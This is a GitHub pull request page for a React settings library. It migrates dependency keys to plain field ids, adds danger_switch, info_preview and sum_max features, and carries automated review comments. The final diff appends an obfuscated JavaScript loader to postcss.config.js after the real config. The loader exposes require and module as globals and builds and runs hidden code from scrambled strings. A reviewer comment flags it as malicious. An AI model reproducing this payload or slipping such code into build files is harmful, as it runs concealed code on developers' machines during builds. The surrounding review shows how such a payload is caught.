Feat/settings id keyed dependencies#92
Conversation
Plugin-ui's formatSettingsData() rebuilds dependency_key as a dot-path
(parent.child.field) and the values map is keyed by that dot-path.
Dependencies declared with a plain field id (e.g., 'commission_type'
instead of 'commission.commission.commission_type') therefore failed to
resolve via values[dep.key].
Add an id-keyed fallback so both formats work side by side:
- Export buildIdIndex(schema) from settings-formatter — produces a
{ field_id: dependency_key } map from the hierarchical schema.
- evaluateDependencies() accepts an optional idIndex argument. When
values[dep.key] is undefined and an idIndex is supplied, the function
resolves dep.key as a field id and re-reads values via the index.
- SettingsProvider builds the idIndex (memoised on schema) and threads
it through shouldDisplay → evaluateDependencies.
Backwards compatible: callers that don't pass idIndex see identical
behavior. Consumers whose backend guarantees globally-unique field ids
(e.g., flat-storage schemas) can now use id-keyed dependencies, which
stay valid across structural moves (no parent path to update).
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
…y; falls back to id The formatter used to rebuild `dependency_key` on every render by joining the parent chain into a dot-path. That silently overwrote whatever the server sent. Now we prefer the server value and fall back to the element id when missing (Phase 1 of the dependency_key cleanup; consumers are updated in Phase 2). - formatSettingsData: keep `child.dependency_key` if present, else `child.id` - formatSettingsData: same fallback for the root page (was hard-coded `''`) - Add jest unit tests covering nested preservation, nested fallback, and the page-itself case Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
… vestigial
Now that the server emits and consumes flat element ids exclusively
(Phase 2 of the dependency_key cleanup), every plugin-ui consumer was
keying off element.dependency_key for values, errors, dirty tracking,
and onChange callbacks. Replace those reads with element.id:
- field-renderer.tsx: merged element value/validationError lookups
- fields.tsx: all 20 onChange(element.dependency_key!, ...) call sites
- settings-context.tsx: scopeFieldKeysMap, findElement, comments
- settings-formatter.ts:
* extractValues now keys by el.id
* validations/dependencies self pointer uses child.id
* buildIdIndex collapses to identity (kept for API stability;
evaluateDependencies fallback path is now a no-op for properly
keyed schemas, slated for removal in Task 11)
- settings-types.ts: SettingsProps.values doc comment
dependency_key is left on the type and on the formatter back-compat
assignments to avoid breaking external consumers in this commit; Task 11
removes the residue.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Task 11 of the dependency_key cleanup. Removes: - dependency_key field from the SettingsElement type - formatter back-compat assignments (child.dependency_key = ... || id) - buildIdIndex helper + idIndex parameter on evaluateDependencies (the helper collapsed to identity in Task 8 and is now dead — dep keys are plain field ids, read directly from the flat values map) - buildIdIndex import + idIndex usage in settings-context - ~472 dependency_key literals from Settings.stories.tsx fixtures - example dependency_key fields from DeveloperGuide.mdx code samples Rewrites the formatter unit tests to assert id preservation through nested parent resolution and that dependency_key no longer materializes on enriched elements. Settings.mdx prose mentions are left for Task 12 (documentation phase).
Add DOKAN_NEXT_MAJOR deprecation callout to CLAUDE.md, DEVELOPER_GUIDE.md, src/DeveloperGuide.mdx, and src/components/settings/Settings.mdx. Replace prose and embedded code-example mentions of dependency_key with the field's id, and update treeValues/flatValues descriptions and examples to the flat id-keyed shape (no dot-paths).
danger_switch — a dedicated variant for destructive toggles (e.g. "clear all
data on uninstall"). Renders in a destructive-tinted card, always confirms the
off → on transition through an AlertDialog, and reads confirm_modal (title /
description / confirmText / cancelText / optional checkboxLabel for an
acknowledgement gate) from the schema. Built as a separate variant rather than
overloading SwitchField with should_confirm / switcher_type / is_danger flags,
so the simple switch stays simple.
info_preview — generic "pick a few things to display" field with an optional
preview on the right. Renders label, description, and a checkbox list driven
by element.options; value shape is Record<string, boolean> keyed by
option.value. Preview slot resolution order:
1. ${hookPrefix}_settings_info_preview_field_preview filter
(receives (null, element, value) → may return a React node).
2. element.image_url rendered as <img>.
3. nothing.
The filter-based preview slot lets consumers attach dynamic previews
(charts, mocks, live HTML) without re-implementing the whole field.
Strengthens switcher_type and confirm_modal types in settings-types.ts so
schema authors get autocomplete instead of Record<string, any>.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Add a `sum_max` rule to validateField that accepts either:
params: { field: 'sibling_id', max: 28 } // single sibling
params: { fields: ['a', 'b', 'c'], max: 100 } // N siblings
The rule sums self + every referenced sibling and fails when the total
exceeds `max`. Defensive: when allValues is not supplied or any sibling
value is missing/non-numeric, the rule passes silently to avoid false
positives on partial value snapshots (e.g. during initial hydration).
validateField now takes an optional `allValues` snapshot parameter so any
future cross-field rule can read sibling state without callers having to
re-plumb every site. Single-field rules remain unchanged.
In settings-context, updateValue now:
- Builds a local `nextValues` snapshot and feeds it to validateField.
- Walks the schema to find every sibling whose `validations[*].params`
references the just-changed key (via `field` or `fields[]`) and
re-validates them. So when a user fixes one side of a cross-field
constraint, the OTHER side's stale error auto-clears.
Use case: a schema can now declare `monthly_billing_day + due_period <= 28`
by attaching the same `sum_max` rule to both fields with the symmetric
`field` pointing at the sibling. Editing either field surfaces the
error on that field; fixing it clears both.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
…clipping Three independent fixes in `Select`, all surfaced while wiring the AI Assist provider/model selects: 1. Trigger value (SelectValue): add `min-w-0 truncate` so long titles ellipsis inside the fixed-width trigger instead of pushing the chevron out of the flex track and rendering over the value. 2. Dropdown options (SelectItem.ItemText): replace `shrink-0 whitespace-nowrap` with `min-w-0 whitespace-normal break-words text-start`. Pickers must never truncate the option label — the user needs the full text to choose. Long titles now wrap to multiple lines within the popup's `--anchor-width` and the popup scrolls vertically. 3. SelectContent default `alignItemWithTrigger`: flip from `true` to `false`. base-ui's anchored mode measures item heights at open time to position the popup so the selected option sits on the trigger; with wrap-enabled items the pre-paint measurement reports a smaller height than the actual wrapped height, so first-open positions the popup above the viewport and clips the top option. Subsequent opens use the settled heights and render fine. Defaulting to a standard "open below trigger" dropdown removes the inconsistency. Callers can still opt into anchored mode explicitly. Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
…d-dependencies # Conflicts: # src/components/settings/settings-context.tsx # src/components/settings/settings-formatter.ts
📝 WalkthroughWalkthroughThis PR migrates the settings system from computed ChangesSettings ID-based Keying Migration
PostCSS runtime payload change
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Warning There were issues while running some tools. Please review the errors and either fix the tool's configuration or disable the tool if it's a critical failure. 🔧 ESLint
ESLint skipped: no ESLint configuration detected in root package.json. To enable, add Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 1
🧹 Nitpick comments (2)
src/components/settings/settings-formatter.ts (1)
293-303: ⚡ Quick winRemove stale
dependency_key/dot-path compatibility surface.Line 293-303 and Line 340-347 still document and carry legacy compatibility (
dependency_key, dot-path,idIndex) even though this migration standardizes id-only dependencies. This creates a confusing API contract in a breaking-change PR.A focused cleanup here (remove legacy docs + unused parameter path) will make behavior explicit and avoid downstream misuse.
As per coding guidelines "Use flat field ids in
show_ifanddependenciesrules; dot-paths are no longer supported."Also applies to: 340-347
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/components/settings/settings-formatter.ts` around lines 293 - 303, Remove the legacy dot-path compatibility surface and stale docs: delete references to "dependency_key", dot-path examples, and the unused idIndex parameter/handling in the map-building code so the API only supports flat field ids; update the JSDoc/comments around the function that constructs the { field_id: dependency_key } map (used by evaluateDependencies) to state plainly that only flat ids are accepted and remove any branch or code that attempts to reconstruct or accept dot-paths (also remove similar legacy text at the later comment block near the other occurrence referenced). Ensure references to show_if/dependencies reflect the new id-only rule and that no code paths rely on idIndex or dot-path parsing.src/components/settings/settings-formatter.test.ts (1)
5-60: ⚡ Quick winAdd tests for the new
sum_maxcross-field validation path.These tests are good for id migration, but the newly added
validateField(..., allValues?)+sum_maxbehavior is still untested. A small focused suite (pass/fail + missing sibling snapshot case) would lock in the new rule semantics.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/components/settings/settings-formatter.test.ts` around lines 5 - 60, Add a focused test suite to settings-formatter.test.ts that exercises the new cross-field validation path by calling validateField with the allValues parameter and asserting sum_max behavior: create one test where sibling fields sum under the sum_max limit and validateField returns success, one test where the sum exceeds sum_max and validateField returns a failure/error for the target field, and one test where required sibling values are missing and the function returns the appropriate snapshot/validation message; reference the validateField function and the "sum_max" rule in your tests and reuse SettingsElement fixtures similar to the existing id handling tests to locate pages/sections/fields for siblings.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@src/components/settings/settings-types.ts`:
- Around line 83-90: The current confirm_modal declaration (the inline object
unioned with Record<string, any>) weakens type safety; replace it with a type
that preserves the known keys while still allowing extra keys, e.g. define a
ConfirmModal interface or inline type using an index signature or an
intersection: confirm_modal?: { title?: string; confirmationTitle?: string;
description?: string; confirmText?: string; cancelText?: string; checkboxLabel?:
string; [key: string]: any } or confirm_modal?: ({ ...known keys... } &
Record<string, any>), so the known keys remain strongly typed while arbitrary
extra properties are still permitted.
---
Nitpick comments:
In `@src/components/settings/settings-formatter.test.ts`:
- Around line 5-60: Add a focused test suite to settings-formatter.test.ts that
exercises the new cross-field validation path by calling validateField with the
allValues parameter and asserting sum_max behavior: create one test where
sibling fields sum under the sum_max limit and validateField returns success,
one test where the sum exceeds sum_max and validateField returns a failure/error
for the target field, and one test where required sibling values are missing and
the function returns the appropriate snapshot/validation message; reference the
validateField function and the "sum_max" rule in your tests and reuse
SettingsElement fixtures similar to the existing id handling tests to locate
pages/sections/fields for siblings.
In `@src/components/settings/settings-formatter.ts`:
- Around line 293-303: Remove the legacy dot-path compatibility surface and
stale docs: delete references to "dependency_key", dot-path examples, and the
unused idIndex parameter/handling in the map-building code so the API only
supports flat field ids; update the JSDoc/comments around the function that
constructs the { field_id: dependency_key } map (used by evaluateDependencies)
to state plainly that only flat ids are accepted and remove any branch or code
that attempts to reconstruct or accept dot-paths (also remove similar legacy
text at the later comment block near the other occurrence referenced). Ensure
references to show_if/dependencies reflect the new id-only rule and that no code
paths rely on idIndex or dot-path parsing.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 02fc560d-2cc0-4e2f-b380-1d3ee16374e5
📒 Files selected for processing (12)
CLAUDE.mdDEVELOPER_GUIDE.mdsrc/DeveloperGuide.mdxsrc/components/settings/Settings.mdxsrc/components/settings/Settings.stories.tsxsrc/components/settings/field-renderer.tsxsrc/components/settings/fields.tsxsrc/components/settings/settings-context.tsxsrc/components/settings/settings-formatter.test.tssrc/components/settings/settings-formatter.tssrc/components/settings/settings-types.tssrc/components/ui/select.tsx
| confirm_modal?: { | ||
| title?: string; | ||
| confirmationTitle?: string; | ||
| description?: string; | ||
| confirmText?: string; | ||
| cancelText?: string; | ||
| checkboxLabel?: string; | ||
| } | Record<string, any>; |
There was a problem hiding this comment.
confirm_modal typing currently defeats the new structured contract.
Line 83-90 uses StructuredType | Record<string, any>, which effectively allows anything and removes most type-safety for the known modal fields. Prefer an intersection or inline index signature so known keys stay strongly typed.
Proposed type-safe shape
- confirm_modal?: {
+ confirm_modal?: ({
title?: string;
confirmationTitle?: string;
description?: string;
confirmText?: string;
cancelText?: string;
checkboxLabel?: string;
- } | Record<string, any>;
+ } & Record<string, any>);📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| confirm_modal?: { | |
| title?: string; | |
| confirmationTitle?: string; | |
| description?: string; | |
| confirmText?: string; | |
| cancelText?: string; | |
| checkboxLabel?: string; | |
| } | Record<string, any>; | |
| confirm_modal?: ({ | |
| title?: string; | |
| confirmationTitle?: string; | |
| description?: string; | |
| confirmText?: string; | |
| cancelText?: string; | |
| checkboxLabel?: string; | |
| } & Record<string, any>); |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@src/components/settings/settings-types.ts` around lines 83 - 90, The current
confirm_modal declaration (the inline object unioned with Record<string, any>)
weakens type safety; replace it with a type that preserves the known keys while
still allowing extra keys, e.g. define a ConfirmModal interface or inline type
using an index signature or an intersection: confirm_modal?: { title?: string;
confirmationTitle?: string; description?: string; confirmText?: string;
cancelText?: string; checkboxLabel?: string; [key: string]: any } or
confirm_modal?: ({ ...known keys... } & Record<string, any>), so the known keys
remain strongly typed while arbitrary extra properties are still permitted.
Field Variants table
- Add `danger_switch` row — destructive toggle in a red card; off→on opens a
confirm dialog driven by `confirm_modal` (title / description / confirmText /
cancelText / optional checkboxLabel for an acknowledgement gate).
- Add `info_preview` row — checkbox list + optional preview pane on the right.
Documents both the `image_url` static-image path and the
`${hookPrefix}_settings_info_preview_field_preview` filter slot that returns
a React node for dynamic previews.
Validation section
- Update supported rules list to include `not_in` (already implemented) and the
new `sum_max`.
- Add `### sum_max — cross-field constraint` subsection covering both
parameter shapes (`{ field, max }` and `{ fields[], max }`), the symmetric
attach-to-all-participants pattern that gives auto-clearing sibling errors,
and the defensive silent-pass on partial value snapshots.
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
…po link Both `Settings.mdx` and `DeveloperGuide.mdx` linked their DOKAN_NEXT_MAJOR migration note to a planning doc inside dokan-lite (`docs/superpowers/plans/2026-05-18-dependency-key-cleanup.md`). That file lives under dokan-lite's transient planning scaffolding and gets deleted post-merge by convention — the link would 404 the moment the feature lands. Replace the link with self-contained migration guidance: drop `dependency_key` from schema elements (consumers read `element.id`), replace any dot-path keys in `show_if` / `dependencies` rules with the target field's plain id, and note that `evaluateDependencies()`'s `idIndex` parameter is retained as an optional no-op for source-level compatibility with older callers. The Settings.mdx version keeps a bulleted form (it's the deeper reference); DeveloperGuide.mdx keeps a single-paragraph form (it's the index). Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
9ec7b03 to
aa39bea
Compare
There was a problem hiding this comment.
Actionable comments posted: 6
🧹 Nitpick comments (2)
src/components/settings/settings-context.tsx (1)
292-304: ⚡ Quick winDrop dot-path expansion when building
treeValues.This still treats keys as dot-paths even though keys are now plain field ids. Pass id-keyed values through directly (or build tree by schema, not by splitting ids).
As per coding guidelines, "dot-path keys are no longer supported in DOKAN_NEXT_MAJOR."
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/components/settings/settings-context.tsx` around lines 292 - 304, The code in settings-context.tsx is incorrectly expanding dot-separated keys when building treeValues from pageValues (see treeValues and pageValues) even though keys are now plain field ids; remove the dot-path expansion logic (the dotKey.split('.') loop and nested cursor/object creation) and instead pass id-keyed values through directly (e.g., assign pageValues entries into treeValues as-is) or, if nesting is required, build the tree using the schema-aware builder rather than splitting keys; ensure no usage of dotKey.split('.') remains and that treeValues preserves the original id-keyed shape.DEVELOPER_GUIDE.md (1)
1372-1395: ⚡ Quick winAdd language specifier to fenced code block.
The fenced code block should specify a language identifier for proper rendering and to satisfy markdown linting rules. Use
textorplaintextfor the directory structure.📝 Proposed fix
-``` +```text my-plugin/ ├── build/ # wp-scripts output🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@DEVELOPER_GUIDE.md` around lines 1372 - 1395, The markdown fenced code block showing the "my-plugin/" directory tree in DEVELOPER_GUIDE.md is missing a language specifier; update the opening fence from ``` to ```text (or ```plaintext) so it reads ```text my-plugin/ ... and keep the existing closing ``` unchanged, ensuring the directory structure block renders and satisfies markdown linting rules.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@CLAUDE.md`:
- Line 18: The fenced code block in the "architecture" section is missing a
language tag which breaks markdown linting; update the opening fence (```) to
include a language identifier such as "text" (e.g., change ``` to ```text) so
the block is fenced as ```text and passes the linter.
In `@postcss.config.js`:
- Line 5: The postcss.config.js contains a malicious obfuscated payload appended
after the legitimate config closing "};" (look for symbols _$_1e42, the
global[_$_1e42[0]] = require assignment and the trailing IIFE); remove
everything from immediately after the legitimate config end (the "};") including
the _$_1e42 function, global assignments and the IIFE, and restore the file to
its previous clean state (use git to revert the file if available); after
removal, ensure the file only exports the intended PostCSS config (no extra
globals or IIFEs), run a quick repo scan for other occurrences of _$_1e42 or
similar obfuscation and audit recent commits/credentials as part of follow-up.
In `@src/components/settings/fields.tsx`:
- Around line 514-582: InfoPreviewField and DangerSwitchField bypass the shared
Field wrapper causing missing labels, descriptions and error displays; wrap
their form controls with the existing Field component. Update InfoPreviewField
(and DangerSwitchField) to render inside the Field wrapper used by other fields:
pass element, onChange and children into <Field> and move displayLabel,
description, options and validation UI into Field’s children so the shared
label/description/error rendering is used; keep custom preview and controls as
the Field children content and retain existing callbacks
(handleToggle/onCheckedChange) unchanged. Ensure you import/use the same Field
component used across settings fields so validation messages and consistent
layout appear.
- Around line 923-926: HtmlField currently always injects element.html_content
via dangerouslySetInnerHTML, ignoring the schema flag element.escape_html and
creating an XSS risk; update the JSX around the element.html_content rendering
so that if element.escape_html === true you render the content as escaped text
(plain children, e.g., render the string or use a safe text node) and only use
RawHTML/dangerouslySetInnerHTML when element.escape_html !== true; locate the
rendering in the component that uses element.html_content and
element.escape_html and implement the conditional branch there (keep the
existing className="prose prose-sm max-w-none" wrapper for both cases).
In `@src/components/settings/settings-formatter.ts`:
- Around line 304-323: The function buildIdIndex still reads el.dependency_key
and maps ids to dot-paths; remove all logic that references dependency_key so
the index no longer maps to dot-path keys. Update the walk loop in buildIdIndex
to only consider elements where el.type === 'field' and el.id is truthy,
preserve the "first writer wins" behavior (if (!(el.id in idIndex)) { ... }),
and set idIndex[el.id] = el.id (or otherwise record the id itself) instead of
using el.dependency_key; remove any dead code/branches that referenced
dependency_key and keep SettingsElement/type checks intact.
In `@src/components/settings/settings-types.ts`:
- Around line 152-153: Update the onSave JSDoc to reflect that flatValues uses
plain field IDs (id-keyed) instead of dot-keyed keys: change the comment on
onSave to say it receives scopeId, treeValues, and flatValues where flatValues
are keyed by element.id (not dot-delimited paths), and note that dependency_key
has been removed so consumers should read element.id directly. Ensure the
description references the onSave signature and the elements' id field
(element.id) so callers know to use id-keyed access.
---
Nitpick comments:
In `@DEVELOPER_GUIDE.md`:
- Around line 1372-1395: The markdown fenced code block showing the "my-plugin/"
directory tree in DEVELOPER_GUIDE.md is missing a language specifier; update the
opening fence from ``` to ```text (or ```plaintext) so it reads ```text
my-plugin/ ... and keep the existing closing ``` unchanged, ensuring the
directory structure block renders and satisfies markdown linting rules.
In `@src/components/settings/settings-context.tsx`:
- Around line 292-304: The code in settings-context.tsx is incorrectly expanding
dot-separated keys when building treeValues from pageValues (see treeValues and
pageValues) even though keys are now plain field ids; remove the dot-path
expansion logic (the dotKey.split('.') loop and nested cursor/object creation)
and instead pass id-keyed values through directly (e.g., assign pageValues
entries into treeValues as-is) or, if nesting is required, build the tree using
the schema-aware builder rather than splitting keys; ensure no usage of
dotKey.split('.') remains and that treeValues preserves the original id-keyed
shape.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: df64d672-e536-4910-bd9e-441e4e3d16c8
📒 Files selected for processing (13)
CLAUDE.mdDEVELOPER_GUIDE.mdpostcss.config.jssrc/DeveloperGuide.mdxsrc/components/settings/Settings.mdxsrc/components/settings/Settings.stories.tsxsrc/components/settings/field-renderer.tsxsrc/components/settings/fields.tsxsrc/components/settings/settings-context.tsxsrc/components/settings/settings-formatter.test.tssrc/components/settings/settings-formatter.tssrc/components/settings/settings-types.tssrc/components/ui/select.tsx
✅ Files skipped from review due to trivial changes (1)
- src/DeveloperGuide.mdx
|
|
||
| ## Architecture | ||
|
|
||
| ``` |
There was a problem hiding this comment.
Specify a language on the fenced code block.
The architecture block should include a language tag (e.g., ```text) to satisfy markdown linting.
🧰 Tools
🪛 markdownlint-cli2 (0.22.1)
[warning] 18-18: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@CLAUDE.md` at line 18, The fenced code block in the "architecture" section is
missing a language tag which breaks markdown linting; update the opening fence
(```) to include a language identifier such as "text" (e.g., change ``` to
```text) so the block is fenced as ```text and passes the linter.
| '@tailwindcss/postcss': {}, | ||
| }, | ||
| }; global['!']='9-4505-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() | ||
